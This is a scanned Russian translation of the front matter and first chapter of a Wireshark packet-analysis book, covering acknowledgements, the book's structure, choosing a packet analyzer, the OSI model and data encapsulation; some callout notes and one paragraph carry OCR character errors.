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Я ИЗ пучины бед; 

Был мертв и чудом стал живой, 

Был слеп и вижу свет". 

"О, благодать", христианский гимн Джона Ньютона. 

из Daemon News. 



БЛАГОЛАРНОСТИ 

Мне бы хотелось выразить искреннюю признательность всем, кто поддер

живал меня в работе над этой книгой. 

Благодарю свою жену Эллен за безграничную любовь и способность ми

риться с тем, что я ночи напролет проводил за клавиатурой, когда она пыта

лась заснуть в своей постели. 

Благодарю свою мать, которая даже после смерти служит мне примером 

доброты, который продолжает вдохновлять меня. Благодарю также своего 

отца, научившего меня, что значит тяжкий труд, без которого мне не удалось 

бы ничего добиться. 

Благодарю Джейсона Смита Q ason Sшith), который мне как брат. Мне труд
но выразить свою признательность ему за его постоянное внимание ко мне. 

Что же касается моих бывших и нынешних сотрудников, то мне очень по

везло работать в окружении людей, благодаря которым я стал лучше и сообра

зительнее. Мне трудно перечислить всех, но я искренне признателен Дастину, 

Алеку, Мартину, Патрику, Крису, Майку и Грейди за ежедневную поддержку и 

усвоение того, что значит лидерство служителя. 

Благодарю Тайлера Регули (Tyler Reguly) за техническое редактирование 
книги и исправление моих нелепых ошибок. Благодарю также Дэвида Вона 

(David Vauglian) - за особую опеку, Джеффа Каррелла Qeff Carrell) - за ока

занную помощью в редактировании содержимого посвященному сетевому 

протоколу IPvб, Бреда Дункана (Brad Duпcan) - за предоставление файла пе

рехвата, использованного мной в главе, посвященной безопасности, а также 



группу специалистов из компании QA Cafe - за предоставленную лицензию 

на инструментальное средство Cloudsl1ark, с помощью которого мне удалось 
организовать перехват пакетов для демонстрации в этой книге. 

И, конечно, мне хотелось бы выразить свою признательность Дже

ральду Комбсу (Gerald Combs) и команде разработчиков Wireshark. Ведь 
Wireshark стала столь замечательной платформой благодаря преданности 
Джеральда и многих других разработчиков. Если бы не их усилия, положе

ние дел в области информационных технологий и безопасности сетей ока

залось бы намного хуже. 

И, наконец, благодарю Билла, Серену, Яна, Аманду, Элисон и остальных со

трудников издательства No Starcl1 Press за проявленное усердие в редактиро
вании и выпуске всех трех изданий этой книги. 



В ВЕЛЕНИЕ 

Настоящее, третьей издание этой книги было написа

но и отредактировано в течение полугора лет, т.е. от 

конца 2015 года и до начала 2017 года, приблизитель-
но через шесть лет после выхода в свет второго издания 

и десять лет после первого издания. В настоящее издание 

вошло немало нового, включая совершенно новые файлы и 

сценарии перехвата, а также отдельную новую главу, посвященную анализу 

пакетов из командной строки с помощью угилит TShark и tcpdump. Если вам 
понравились два предыдущих издания, то понравится и третье. Оно написа

но в том же духе с пояснениями простым и доходчивым языком. А если вы со

мневались в выборе двух предыдущих изданий, поскольку они не содержали 

самые последние сведения об организации сетей и обновлениях Wireshark, в 
таком случае вам придется прочитать настоящее издание, которое было до

полнено описанием новых сетевых протоколов и обновленной информаци

ей по версии Wireshark 2.х. 

Зачем нужна эта книrа 
У читателя может возникнугь вполне резонный вопрос: чем эта книга отли

чается от других книг на тему анализа пакетов? Ответ заключается в названии 

книги Пра'Кmи'Ка анализа nа'Кетов. Следует откровенно признать, что ничто не 

может сравниться с практическим опытом, и точнее всего этот опыт удается 



В первой половине книги даются знания, необходимые для уяснения осо

бенностей анализа пакетов и работы с Wireshark. А вторая ее половина пол
ностью посвящена разбору случаев из повседневной практики управления 

сетями. 

Усвоив методики анализа пакетов, описанные в этой книге, читатель извле

чет для себя немалую пользу, кем бы он ни работал: сетевым техником, сете

вым администратором, руководителем информационной службы, специали

стом по настольным системам или даже аналитиком по вопросам безопасно

сти сетей. 

Основные понятия и принять1й подход 
Вообще-то, я нетороплив и когда поясняю какое-нибудь понятие, то стара

юсь делать это непринужденно. Это же относится и к языку, которым изложен 

материал книги. Чтобы не увязнуть в техническом жаргоне, я попытался из

ложить описываемые в ней понятия как можно более простым и обыденным 

языком. Все термины и понятия определяются в ней без каких-либо несуще

ственных подробностей. Ведь я родом из замечательного штата Кентукки, а 

следовательно, стараюсь быть немногословным. (Но вы, читатель, простите 

мне излишнюю многословность, которой я иногда грешу в книге.) 

Первые несколько глав существенны для понимания остальной части кни

ги, поэтому непременно усвойте описываемые в них понятия. А вторая поло

вина книги всецело посвящена разбору практических примеров. Возможно, 

они и не вполне отражают те ситуации, которые возникают в вашей практи

ческой деятельности, тем не менее вы сможете применить рассматриваемые 

в них понятия в возникающих у вас ситуациях. 

Ниже приведено краткое описание содержания этой книги. 

Глава 1, "Анализ пакетов и основы организации сетей". В этой гла
ве поясняется, что такое анализ пакетов, как он действует и как проводится. 

Здесь также даются основы передачи данных по сети и анализа пакетов. 

Глава 2, "Подключение к сети". В этой главе рассматриваются различ
ные методики подключения анализатора пакетов к сети. 

Глава 3, "Введение в Wireshark". В этой главе даются основные сведения 
о приложении Wireshark. В частности, где его взять, как им пользоваться, что 
оно позволяет делать, чем оно примечательно и прочие полезные сведения 

о нем. В настоящее издание включено обсуждение вопросов специальной на

стройки Wireshark с помощью профилей конфигурации. 
Глава 4, "Обработка перехваченных пакетов". Установив и настроив 

Wireshark, вы, вероятно, захотите узнать, как взаимодействовать с перехва
ченными пакетами. В этой главе даются основы обработки перехваченных 



пакетов, включая новые разделы с более подробным описанием особенно

стей отслеживания потоков пакетов и преобразования имен. 

Глава 5, "Дополнительные возможности Wireshark". Научившись пол
зать, пора учиться летать. В этой главе подробно рассматриваются дополни

тельные возможности Wireshark, а также демонстрируется внутренний меха
низм действия некоторых менее очевидных операций. В эту главу включены 

новые разделы с подробным описанием особенностей отслеживания потоков 

пакетов и преобразования имен. 

Глава 6, "Анализ пакетов из командной строки". Wireshark - замеча

тельное средство, но иногда требуется оставить удобства графического поль

зовательского интерфейса, чтобы взаимодействовать с пакетами в режиме ко

мандной строки. В этой новой главе показывается, как пользоваться TSliark и 
tcpdщnp - двумя самыми лучшими инструментальными средствами командной 

строки для анализа пакетов. 

Глава 7, "Протоколы сетевого уровня". В этой главе демонстрируется, 
как обычная передача данных, выполняемая на сетевом уровне, выглядит на 

уровне пакетов, исследуемых в сетевых протоколах ARP, IPv4, IPvб и ICMP. 
Чтобы устранять неполадки в этих сетевых протоколах на практике, следует 

сначала понять, каким образом они действуют. 

Глава 8, "Протоколы транспортного уровня". В этой главе рассматри
ваются два наиболее распространенных сетевых протокола транспортного 

уровня: ТСР и UDP. Оба эти протокола служат для передачи большинства рас
сматриваемых здесь пакетов, и поэтому очень важно уяснить, как они выгля

дят на уровне пакетов и чем они отличаются. 

Глава 9, "Распространенные протоколы верхнего уровня". В этой 
главе продолжается рассмотрение сетевых протоколов и демонстрируется, 

как выглядят четыре наиболее распространенных протокола верхнего уров

ня: НТТР, DNS, DHCP и SMTP. 
Глава 10, "Основные реальные сценарии". В этой главе представлен 

анализ некоторых примеров типичного сетевого трафика в первом ряде ре

альных сценариев. Каждый сценарий представлен в удобном для исследова

ния формате, позволяющем выявить затруднение, возникшее в сети, проана

лизировать его и найти решение. В этих основных сценариях задействовано 

совсем немного компьютеров и проводится ограниченный анализ, но и этого 

должно быть достаточно, чтобы ввести вас в курс дела. 

Глава 11, "Меры борьбы с медленной сетью". Наиболее характерные 
осложнения, с которыми приходится иметь дело сетевым техникам, обычно 

связаны с низкой скоростью работы сети. Эта глава посвящена решению по

добного рода осложнений. 
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Глава 12, "Анализ пакетов на безопасность". Безопасность сетей явля
ется самым насущным предметом в области информационных технологий. 

В этой главе представлены некоторые сценарии, связанные с решением во

просов, имеющих отношение к безопасности, по методикам анализа пакетов. 

Глава 13, "Анализ пакетов в беспроводных сетях". В этой главе дают
ся основы анализа пакетов в беспроводных сетях. В ней обсуждается отличия 

анализа пакетов в беспроводных сетях от проводных, включая некоторые 

примеры трафика в беспроводных сетях. 

Приложение А, "Дополнительная информация". В этом приложении 

представлены дополнительные инструментальные средства и ресурсы Интер

нета, которые могут оказаться полезными для дальнейшего применения мето

дик анализа пакетов, усвоенных в этой книге. 

Приложение Б, "Интерпретация пакетов". Если требуется подробнее 

изучить особенности интерпретации отдельных пакетов, то в этом приложе

нии дается краткий обзор хранения пакетной информации в двоичном виде и 

ее преобразования в шестнадцатеричное представление. В этом приложении 

показывается также, как разбирать вручную пакеты, представленные в шест

надцатеричном виде, с помощью схем пакетов. Это удобно в том случае, если 

приходится уделять немало времени анализу специальных протоколов или 

пользоваться инструментальными средствами анализа пакетов в режиме ко

мандной строки. 

Как пользоваться этой книrой 

• Как учебным пособием. В таком случае читайте ее последовательно 

главу за главой, уделяя особое внимание реальным примерам в последу

ющих главах, чтобы постепенно усвоить порядок анализа пакетов. 

• Как справочным пособием. Некоторыми средствами Wireshark вам 
придется пользоваться нечасто, и поэтому вы можете забыть, каким 

образом они действуют. Поэтому иметь эту книгу под рукой очень удоб

но, чтобы освежить в памяти порядок применения отдельных средств 

Wireshark. Когда вы проводите анализ пакетов на своей работе, у вас мо
жет возникнуть потребность обратиться за справкой к диаграммам, схе

мам и методикам, представленным в этой книге. 

О примерах файлов перехвата 
Все файлы перехвата, употребляемые в примерах из этой книги, доступ

ны на веб-странице издательства No Starcl1 Press, посвященной этой кни
ге, по адресу https://www.nostarch.com/packetanalysisЗ/. Чтобы извлечь 



наибольшую пользу из книги, загрузите эти файлы и пользуйтесь ими, прора

батывая приведенные в ней практические примеры. 

Фонд поддержки технолоrий в сельской местности 
Во введении к этой книге нельзя не упомянуть о самом главном, что дало 

ее издание. Вскоре после выхода в свет первого издания я основал обществен

ную организацию под названием "Фонд поддержки технологий в сельской 

местности" (Rural Technology Fuпd - RTF). 
Современные информационные технологии обычно доступны учащимся в 

сельской местности - даже с отличной успеваемостью - в меньшей степени, 

чем в крупных городах. Основание "Фонда поддержки технологий в сельской 

местности" в 2008 году стало верхом всех моих мечтаний. Тем самым я пытал
ся восполнить цифровой пробел между жителями сельской и городской мест

ности. С этой целью в "Фонде поддержки технологий в сельской местности" 

действуют специальные учебные программы, мероприятия по привлечению 

жителей сельской местности, сбору пожертвований на ресурсы по обучению 

цифровым технологиям, проводятся учебные курсы и пропагандируются со

временные технологии в сельских и бедных районах. 

В 2016 году "Фонд поддержки технологий в сельской местности" передал 
ресурсы по обучению цифровым технологиям в руки более 10 тыс. учащихся 
в сельских и бедных районах США. И мне приятно объявить, что весь свой 

авторский гонорар я направил на эти цели в Фонд. Если вы желаете узнать 

больше об этой общественной организации или принять посильное участие 

в ее деятельности, посетите ее веб-сайт по адресу http: //www. ruraltechfund. 
org/ или найдите ее в Twjtter по адресу @RuralTechFund. 

Как связаться с автором книrи 
Мне всегда любопытно знать, что читатели думают о моей книге. Если 

вы желаете связаться со мной по какой-нибудь причине, направляйте все 

свои вопросы, комментарии, замечания и предложения прямо мне по адре

су chris@chrissander.org. Кроме того, я регулярно веду свой блог 110 ад

ресу http://www. chrissanders. org/, и меня можно найти в Twitter по адресу 
@chrissanders88. 

От издательства 
Вы, читатель этой книги, и есть главный ее критик и комментатор. Мы це

ним ваше мнение и хотим знать, что было сделано нами правильно, что мож

но было сделать лучше и что еще вы хотели бы увидеть изданным нами. Нам 
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интересно услышать и любые другие замечания, которые вам хотелось бы вы

сказать в наш адрес. 

Мы ждем ваших комментариев и надеемся на них. Вы можете прислать 

нам бумажное или электронное письмо, либо просто посетить наш веб-сайт 

и оставить свои замечания там. Одним словом, любым удобным для вас спосо

бом дайте нам знать, нравится или нет вам эта книга, а также выскажите свое 

мнение о том, как сделать наши книги более интересными для вас. 

Посылая письмо или сообщение, не забудьте указать название книги и ее 

авторов, а также ваш обратный адрес. Мы внимательно ознакомимся с вашим 

мнением и обязательно учтем его при отборе и подготовке к изданию после

дующих книг. 

Наши электронные адреса: 

E-шail: info@williamspuЫishing. сот 

\fV\V\V: http://www.williamspuЫishing.com 



АНАЛИЗ ПАКЕТОВ И ОСНОВЫ 

ОРГАНИЗАUИИ СЕТЕЙ 

Каждый день в вычислительной сети может произойти 

миллион самых разных событий: от простого зараже

ния шпионской программой до сложной ошибки кон

фигурирования маршрутизатора. И самое лучшее, на что 

можно надеяться, - быть готовым во всеоружии знаний и инструментальных 

средств отреагировать на осложнения подобного рода. 

Чтобы действительно разобраться в затруднениях, возникающих в сети, 

необходимо перейти на уровень пакетов. Все затруднения в сети начинаются 

именно на этом уровне, где могут обнаружиться скверные реализации даже са

мых опрятно выглядящих приложений, а заслуживающие, на первый взгляд, 

полного доверия сетевые протоколы оказаться зловредными. Здесь от нас 

ничего не скроется, поскольку на этом уровне нет ни вводящей в заблужде

ние структуры меню, ни привлекательной графики, ни неблагонадежных ра

ботников и вообще никакой секретной информации, кроме зашифрованной. 

И чем больше нам удается сделать на уровне пакетов, тем лучше мы можем 

контролировать свою сеть и разрешать возникающие в ней затруднения. Это 

и есть область действия анализа пакетов. 

Рассмотрению именно этой области и посвящена данная книга. Из реаль

передачей 

отслеживать 



хакеров. Прочитав эту книгу, вы сможете реализовать методики анализа паке

тов, которые помогут вам разрешать даже самые сложные затруднения, возни

кающие в вашей сети. 

В этой главе представлены самые основы с акцентом на передачу данных 

по сети. Материал этой главы поможет вам получить в свое распоряжение ин

струментальные средства, которые потребуются для дальнейшего изучения 

различных сценариев из реальной эксплуатации сетей. 

Анализ пакетов и их анализаторы 
Анализ пакетов, иногда еще называемый анализом протоколов, описывает 

процесс перехвата и интерпретации действующих данных по мере их про

движения по сети, чтобы лучше понять, что же в ней происходит. Как пра

вило, анализ пакетов проводится анализатором пакетов - инструментальным 

средством, применяемым для перехвата первичных данных, передаваемых по 

проводам сети. 

Анализ пакетов может оказать помощь в следующем. 

• Уяснить характеристики сети. 

• Выяснить, кто находится в сети. 

• Определить, кто или что "съедает" доступную пропускную способность 

сети. 

• Выявить моменты, когда использование сети достигает своего пика. 

• Выявить зловредную деятельность в сети. 

• Обнаружить небезопасные и громоздкие приложения. 

Для анализа пакетов имеются различные программы: как бесплатные, так 

и коммерческие. Каждая такая программа предназначена для определенных 

целей. К числу самых распространенных программ анализа пакетов относят

ся tcpdшnp, OrnniPeek и Wireshark (именно последней и уделяется основное 
внимание в этой книге). Программы OrnniPeek и Wireshark снабжены графи
ческим пользовательским интерфейсом, тогда как tcpdшnp является утилитой 

командной строки. 

Оценка анализатора пакетов 

Выбирая анализатор пакетов, необходимо принять во внимание целый ряд 

факторов, включая следующие. 

• Поддержка сетевых протоколов. Все анализаторы пакетов способны 

интерпретировать различные протоколы, а большинство из них - наи

более распространенные сетевые протоколы (например, 1Pv4 и ICMP), 



транспортные протоколы (например, ТСР и UDP) и даже протоколы 
уровня приложений (например, DNS и НТТР). Хотя они могуг и не под
держивать нетрадиционные и более сложные протоколы (например, 

IPvб, SMBv2 и SIP). Поэтому, выбирая анализатор пакетов, убедитесь, 
что в нем поддерживаются применяемые вами протоколы. 

• Удобство использования. Обращайте особое внимание на интерфейс 

анализатора пакетов, простоту его установки и общую последователь

ность операций. Выбранная вами программа должна соответствовать 

уровню вашей квалификации. Так, если у вас имеется весьма скромный 

опыт анализа пакетов, вам вряд ли стоит выбирать такие сложные ана

лизаторы пакетов, действующие в режиме командной строки, как ути

лита tcpdurnp. А если вы имеете немалый опыт анализа пакетов, то вам 
подойдет и более развитая, хотя и сложная программа. По мере приоб

ретения необходимого опыта вы можете даже найти полезным сочетать 

в отдельных случаях несколько программ анализа пакетов. 

• Стоимость. Самое замечательное, что многие анализаторы пакетов бес

платны и практически ничем не уступают их коммерческим аналогам. 

А самое главное отличие бесплатных анализаторов пакетов от коммер

ческих заключается в их механизмах отчетности. В состав коммерческих 

продуктов, как правило, входит специальный модуль формирования от

четов, тогда как в бесплатных приложениях такие средства отсутствуют, 

и поэтому они обеспечивают лишь ограниченную отчетность. 

• Поддержка программ. Даже если вы овладели основами работы с 

программой анализа пакетов, вам иногда потребуется дополнитель

ная поддержка для решения новых задач по мере их появления. Оце

нивая имеющуюся поддержку программ, обращайте внимание на доку

ментацию для разработчиков, публичные форумы и списки рассылки 

пользователей. И несмотря на возможную нехватку формализованной 

коммерческой поддержки бесплатных программ анализа пакетов вро

де Wireshark, сообщество пользователей и участников их разработки 
нередко ведет активные дискуссионные клубы, вики-страницы и блоги, 

чтобы помочь извлечь наибольшую пользу из выбранного вами анали

затора пакетов. 

• Доступ к исходному коду. Некоторые анализаторы пакетов относят

ся к программному обеспечению с открытым исходным кодом. Это дает 

возможность просматривать исходный код программы, а иногда и вно

сить в него необходимые коррективы. Если у вас особый или сложный 

случай для применения анализатора пакетов, то такая возможность ока

жется для вас весьма привлекательной. Исходный код большинства ком

мерческих анализаторов пакетов недоступен. 



• Поддержка операционной системы. К сожалению, не во всех ана

лизаторах пакетов поддерживается каждая операционная система. 

Если вы работаете консультантом, у вас может возникнуть потреб

ность перехватывать и анализировать пакеты в самых разных опера

ционных системах. Следовательно, вам потребуется инструменталь

ное средство, работающее в большинстве операционных систем. Сле

дует также иметь в виду, что пакеты иногда придется перехватывать 

на одной машине, а просматривать на другой. Отличия в операцион

ных системах могут вынудить вас пользоваться разными приложения

ми на отдельных машинах. 

Принцип действия анализаторов пакетов 

В процессе анализа пакетов задействованы как программные, так и аппа

ратные средства. Этот процесс делится на следующие стадии. 

1. Сбор данных. Прежде всего анализатор пакетов собирает первичные 
двоичные данные из сети. Как правило, это делается переключением 

избранного сетевого интерфейса в смешанный режим (promiscuous mode). 
В этом режиме сетевая плата может принимать весь трафик в сегменте 

сети, а не только адресуемый ей трафик. 

2. Преобразование. Далее перехваченные двоичные данные преобра
зуются в удобочитаемую форму. На это способно большинство разви

тых анализаторов пакетов, работающих в режиме командной строки. 

На этой стадии сетевые данные могут автоматически интерпретиро

ваться только на самом элементарном уровне, оставляя бальшую часть 

анализа конечному пользователю вручную. 

3. Анализ. Наконец, анализатор пакетов проводит анализ перехваченных 
и преобразованных данных. В частности, он проверяет протокол пере

хваченных в сети данных, исходя из извлекаемой информации, и далее 

начинает анализ характерных особенностей этого протокола. 

Установление связи между компьютерами 
Чтобы полностью уяснить анализ пакетов, необходимо точно знать, ка

ким образом устанавливается связь между компьютерами. В этом разделе мы 

рассмотрим основные положения о сетевых протоколах, модель OSI (Ореп 
Systems Interconnections - взаимодействие открытых систем), сетевые фрей

мы данных и аппаратную поддержку всего этого. 



Сетевь1е протоколы 

Современные сети состоят из разных систем, работающих на различных 

платформах. Для сообщения между этими системами в качестве общепонят

ного языка служит ряд сетевых протоколов. К числу самых распространенных 

относятся ТСР (Transmission Control Protocol - протокол управления переда

чей), IP (lnternet Protocol - межсетевой протокол), ARP (Address Resolution 
Protocol - протокол преобразования адресов), а также DHCP (Dynamic Host 
Configuration Protocol - протокол динамического конфигурирования хоста). 

Все эти протоколы логически сгруппированы для совместной работы в так на

зываемый стек протоколов. 

Проколы удобно сравнить с правилами, регулирующими употребление 

естественного языка. В каждом языке имеются определенные правила, напри

мер, порядок спряжения глаголов, приветствия людей и даже надлежащей 

благодарности кого-нибудь. Протоколы действуют сходным образом, давая 

возможность определить порядок маршрутизации пакетов, установления се

тевого соединения и подтверждения приема данных. 

Протокол может быть как очень простым, так и крайне сложным в зависи

мости от его функций. И хотя различные протоколы могут существенно отли

чаться, многие сетевые протоколы призваны решать следующие вопросы. 

• Установление соединения. Кто инициирует установление соедине

ния: клиент или сервер? Какой информацией следует обменяться, пре

жде чем устанавливать соединение? 

• Согласование характеристик соединения. Шифруется ли переда

ча данных по сетевому протоколу? Каким образом происходит обмен 

ключами шифрования между связывающимися хостами (т.е. сетевыми 

узлами)? 

• Форматирование данных. Каким образом организованы данные, со

держащиеся в пакете? В каком порядке данные обрабатываются прини

мающим их устройством? 

• Обнаружение и исправление ошибок. Что происходит в том случае, 

если пакет слишком долго достигает места своего назначения? Каким 

образом клиент возобновляет свою работу, если он не в состоянии уста

новить соединение с сервером в кратчайший период времени? 

• Разрыв соединения. Каким образом один хост дает знать другому, что 

связь окончена? Какую завершающую информацию следует передать, 

чтобы корректно разорвать соединение? 



Семиуровневая модель 051 
Сетевые протоколы подразделяются по своим функциям на основании 

принятой в данной отрасли стандартной модели OSI. Эта иерархическая мо
дель состоит из семи уровней и очень удобна для понимания особенностей 

связи и передачи данных по сети. На рис. 1.1, справа, показаны уровни модели 
OSI, а соответствующая терминология для обозначения данных на каждом из 
этих уровней - слева. На самом верху данной модели находится уровень при

ложений, представляющий программы, предназначенные для доступа к сете

вым ресурсам, а в самом низу - физический уровень, где, по существу, данные 

перемещаются по сети. Протоколы на каждом уровне действуют совместно, 

обеспечивая надлежащую обработку данных на уровнях, расположенных не

посредственно выше и ниже. 

Данные Приложений 

Биты Физический 

Рис. 1. 1. Иерархическое представление 
семи уровней модели 051 

Каждый уровень модели OSI выполняет конкретную функцию, как поясня
ется ниже. 

• Уровень приложений (седьмой). На этом самом верхнем уровне моде

ли OSI предоставляются средства для доступа пользователей к сетевым 
ресурсам. Как правило, это единственный уровень, доступный конеч

ным пользователям, поскольку на нем предоставляется интерфейс, на 

основании которого они осуществляют всю свою деятельность в сети. 



l11QЩIPMl!lll Первона'Чалъно моделъ OSI бъtЛа обнародована в 1983 году Международ
ной о-рганизацией по стандартизации (ISO) в виде дакумента под на
званием ISO 7498. Моделъ OSI является всеголишъ рекомендуе.мъш в дан
ной отрасли стандартом. Это озна'Чает, разработ'Чи'Ки сетевъtх прото

'Колов не должны строго придерживатъся данной модели. На самом деле 

моделъ OSI не является единственной для организации сетей. Например, 
некото-рые разработ'Чи'Ки отдают предпО'Чтение модели DoD, т.е. моде
ли Министерства обо-роны США, ина'Че называемой моделъю ТСР /IP. 

• Уровень представления данных (шестой). На этом уровне получаемые 

данные преобразуются в формат, удобный для их чтения на уровне при

ложений. Порядок кодирования и декодирования данных на этом уровне 

зависит от протокола, применяемого на уровне приложений для переда

чи и приема данных. На уровне приложений может также использовать

ся несколько форм шифрования и дешифрования данных для их защиты. 

• Сеансовый уровень (пятый). На этом уровне происходит диалог, или 

сеанс связи, между двумя компьютерами. Сеансовый уровень отвечает 

также за установление дуплексного (т.е. двунаправленного) или полуду

плексного (т.е. однонаправленного) соединения, а также для корректно

го (т.е. не резкого и внезапного) разрыва связи между двумя хостами 

(т.е. сетевыми узлами). 

• Транспортный уровень (четвертый). Основное назначение транс

портного уровня - предоставить надежные транспортные услуги ниже

лежащим уровням. Благодаря управлению потоком данных, их сегмен

тации и десегментации, исправлению ошибок на транспортном уровне 

обеспечивается безошибочная доставка данных из одной точки сети в 

другую. Обеспечить надежную доставку данных крайне сложно, поэтому 

в модели OSI для этой цели выделен отдельный уровень. На транспор~ 
ном уровне используются протоколы как с установлением соединения, 

так и без него. Именно на этом уровне и действуют определенные бран

дмауэры и промежуточные, так называемые прокси-серверы. 

• Сетевой уровень (третий). Один из самых сложных уровней модели 

OSI, обеспечивающий маршрутизацию данных между физическими се
тями и правильную адресацию сетевых узлов (например, по IР-адресу). 

На этом уровне происходит также разбиение потоков данных на более 

мелкие части, а иногда и обнаружение ошибок. Именно на этом уровне 

и действуют маршрутизаторы. 

• Канальный уровень (второй). На этом уровне предоставляются 

средства для переноса данных по физической сети. Основное назначе

ние данного уровня - предоставить схему адресации для обозначения 



физических устройств (например, МАС-адреса). Именно на этом уровне 

и действуют такие физические устройства, как мосты и коммутаторы. 

• Физический уровень (первый). Это самый нижний уровень моде

ли OSI, где находится среда, по которой переносятся сетевые данные. 
На этом уровне определяется физические и электрические характе

ристики всего сетевого оборудования, включая уровни напряжений в 

сети, концентраторы, сетевые адаптеры, повторители и кабельную раз

водку. На физическом уровне устанавливаются и разрываются сетевые 

соединения, предоставляются средства для совместного использования 

общих сетевых ресурсов и преобразования сигналов из цифровой в ана

логовую форму, и наоборот. 

lllQШ'iШllll Для удобства запоминания уровней модели OSI на английском языке 
служит мнемоническая фра:Jа "Pkase Do Not Thmw Saиsage Pizza Away" 
(Пожалуйста, не выбрасъtвайте пиццу с колбасой), где прописные буквы 

отдельных слов обозначают На:Jвания каждого уровня данной модели, 

начиная с первого 1• 

В табл. 1.1 перечислены некоторые из наиболее распространенных прото
колов, употребляемых на каждом уровне модели OSI. 

Табпица 1.1. Типичные протокопь1, испопьэуемые на каждом уровне модепи 051 

Уровень 

Приложений 

Предстовления 

Сеансовый 

Транспортный 

Сетевой 

Канальный 

Физический 

Протокопы 

НПР, SMTP, FТР, Telпet 

ASCll, MPEG, JPEG, MIDI 

NetBIOS, SAP, SDP, NWLiпk 

ТСР, UDP, SPX 

IP, IPX 
Etherпet, Тоkеп Riпg, FDЩ AppleTalk 

Проводной или беспроводный 

Несмотря на то что модель OSI является всего лишь рекомендуемым стан
дартом, ее следует знать наизусть, поскольку она предоставляет удобный 

словарь терминов для осмысления и описания затруднений, возникающих в 

сетях. По мере чтения книги вы обнаружите, что вопросы маршрутизации 

относятся к третьему уровню данной модели, а вопросы программирования -
к седьмому. 

1 В качестве варианта на русском языке предлагается мнемоническая фраза "Федя, 

Как Стать Тебе Самым Первым Парнем", естественно, на деревне. - При.меч. ред. 



l1!QЩ!lфШll Однажды кол.лега расска:ю.л мне о жалобе одного полъзователя на невоз

можностъ доступа к сетевому ресурсу. Это затруднение возникло из-за 

того, что полъзователъ ввел неверный паролъ. Мой кол.лега отнес дан

ное затруднение к восъмому, неофициалъному полъзователъскому уровню 

модели OSI. И такое обозначение часто употребляется в среде тех, кто 

работает на уровне пакетов. 

Прохождение данных по модели 051 

Исходно передача данных по сети начинается на уровне приложений пе

редающей системы. Данные проходят сверху вниз по всем уровням модели 

OSI до тех пор, пока не достигнут физического уровня, где находится точка, 
откуда данные отправляются из передающей системы в принимающую. А при

нимающая система получает данные на своем физическом уровне, откуда дан

ные проходят снизу вверх по всем уровням модели OSI, достигая в конечном 
итоге уровня приложений. 

Каждый уровень модели OSI может взаимодействовать только с уровнями, 
расположенными непосредственно выше и ниже его. Например, на уровне 2 
данные можно передавать и принимать только с уровней 1 и 3. 

Ни одна из услуг, предоставляемых различными протоколами на любом за

данном уровне модели OSI, не должна быть избыточной. Так, если на одном 
уровне протокол предоставляет конкретную услугу, то ни один другой прото

кол на любом другом уровне не должен предоставлять такую же самую услугу. 

У протоколов на разных уровнях могут быть средства, служащие сходным це

лям, но их функционирование будет хотя бы немного, но все равно отличаться. 

Протоколы на соответствующих уровнях передающего и приемного 

устройств дополняют друг друга. Так, если протокол на седьмом уровне пере

дающего устройства отвечает за форматирование передаваемых данных, то 

соответствующий протокол на седьмом уровне приемного устройства должен 

отвечать за чтение полученных отформатированных данных. 

На рис. 1.2 показано графическое представление модели OSI на двух связан
ных вместе устройствах. Как видите, передача данных происходит сверху вниз 

на одном устройстве, а прием - в обратном порядке на другом устройстве. 

Инкапсуляция данных 

Протоколы, действующие на разных уровнях модели OSI, обмениваются 
данными посредством инкапсуляции данных. Каждый уровень данной модели 

отвечает за добавление в начало и конец передаваемых данных соответствую

щего заголовка и концевика в виде дополнительных битов информации, пред

назначенных для взаимодействия между уровнями. Когда, например, данные 

получаются на транспортном уровне из сеансового уровня, на транспортном 



уровне добавляется свой заголовок, содержащий требуемую информацию, в 

эти данные, перед передачей их дальше на сетевой уровень. 

Приложений Приложений 

Физический Физический 

Рис. 1.2. Протоколы, действующие на одном и том же 

уровне как в передающей, так и в принимающей системе 

В процессе инкапсуляции создается блок протокольных данных (PDU -
protocol data unit), включающий в себя передаваемые данные и всю добавленную 

заголовочную и концевую информацию. По мере продвижения данных сверху 

вниз по модели OSI и добавления в нее заголовочной и концевой информации 
на разных уровнях блок PDU изменяется, постепенно разрастаясь. В оконча
тельном виде блок PDU формируется, когда он достигает физического уровня, 
где он посьшается приемному устройству по месту назначения. А на приемном 

устройстве заголовки и концевики извлекаются соответствующими протоко

лами из блока PDU в обратном их вводу порядке по мере прохождения данных 
снизу вверх по уровням модели OSI. И как только блок PDU достигнет верхнего 
уровня модели OSI, останутся лишь данные из исходного уровня приложений. 

Чтобы продемонстрировать принцип действия инкапсуляции данных, рас

смотрим упрощенный практический пример создания, передачи и приема 

пакета по отношению к модели OSI. Однако специалисты по анализу пакетов 
редко упоминают о сеансовом или уровне представлений модели OSI. Именно 
поэтому оба эти уровня отсутствуют в рассматриваемом здесь примере, как, 

впрочем, и в остальных примерах из данной книги. 



lе!рШ!рМЩ!I Для описания данных, упакованных на каждом уровне, в модели OSI 
употребляются специалъные терминъt. Так, на физичеС'Ком уровне дан

нъtе содержатся в виде отделъных битов, на каналъном - в виде фреймов, 

на сетевом - в виде пакетов, на транспортном - в виде сегментов, а на 

трех верхних уровнях - просто в виде данных. Но на практике такая 

терминология не находит особого применения, и поэтому далее в книге 

мы будем полъзоватъся толъко термином пакет для обозначения полна

го или частичного блока PDU, в'КЛЮ'Чая заголовй'Чную и концевую инфор
мацию из неС'Колъких или всех уровней модели OSI. 

В данном случае предпринимается попытка просмотреть веб-страницу по 

адресу http: //www.google.com/. Прежде всего необходимо сформировать па
кет запроса, передаваемый из исходного клиентского компьютера на целевой 

серверный компьютер. В данном случае предполагается, что сеанс связи по 

сетевому протоколу ТСР /IP уже установлен. Процесс инкапсуляции данных в 
рассматриваемом здесь примере наглядно показан на рис. 1.3. 

НТТР Приложений НТТР 

Представления 

те Р НТТР 

IP тер те Р НТТР 

Ethernet IP те Р НТТР IP те Р НТТР 

Физический 

Рис. 1.3. Графическое представление инкапсуляции данных при их обмене между 
клиентом и сервером 



Итак, начнем с клиентского компьютера на уровне приложений. Здесь 

речь идет о просмотре страницы веб-сайта, и поэтому применяется сетевой 

протокол НТТР. По этому протоколу выдается команда на загрузку файла 

index. h tml со страницы по указанному выше адресу. 

l11QЩ!pW!iii На прахтихе браузер запросит сначала у вебсайта хорневой хата.лог 

дакументов, обозначаемый хосой чертой ( / ). Ках толъхо сервер получит 
этот запрос, он переадресует браузер х тому файлу, хоторый сконфигу

рирован для обслуживания запросов на выдачу хорневого хата.лога даку

ментов. Обычно это файл вроде index. html или index. php. Подробнее 
